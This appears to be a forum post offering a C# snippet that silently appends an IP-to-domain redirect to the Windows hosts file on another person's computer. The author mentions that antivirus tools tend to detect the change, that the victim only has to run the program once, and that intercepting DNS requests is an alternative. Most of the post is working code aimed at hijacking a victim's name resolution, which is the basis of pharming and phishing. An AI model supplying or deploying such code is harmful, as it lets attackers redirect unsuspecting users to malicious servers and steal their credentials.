I guess the simplest way would be to change a few lines in the hosts file on the person's computer. Although that's quite easy to figure out, and most AV's pick up on the file being modified. Changing the hosts file would require your app to be run once, and that's it.
The following code is a small C# snippet to do the 'hard work' for you.
Code:
public static void Set(string ipToRedirectTo, string domainToUse)
{
RegistryKey key = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters");
if (key != null)
{
string p = key.GetValue("DataBasePath").ToString();
MessageBox.Show(p);
using (TextWriter tw = new StreamWriter(p + "\\hosts", true))
{
tw.WriteLine("{0} {1}", ipToRedirectTo, domainToUse);
}
}
}
Pretty self explanatory.
The other method is intercepting DNS requests outgoing from the PC, and modifying them. (Such as what I did for quite some time) But that's a whole 'nother world.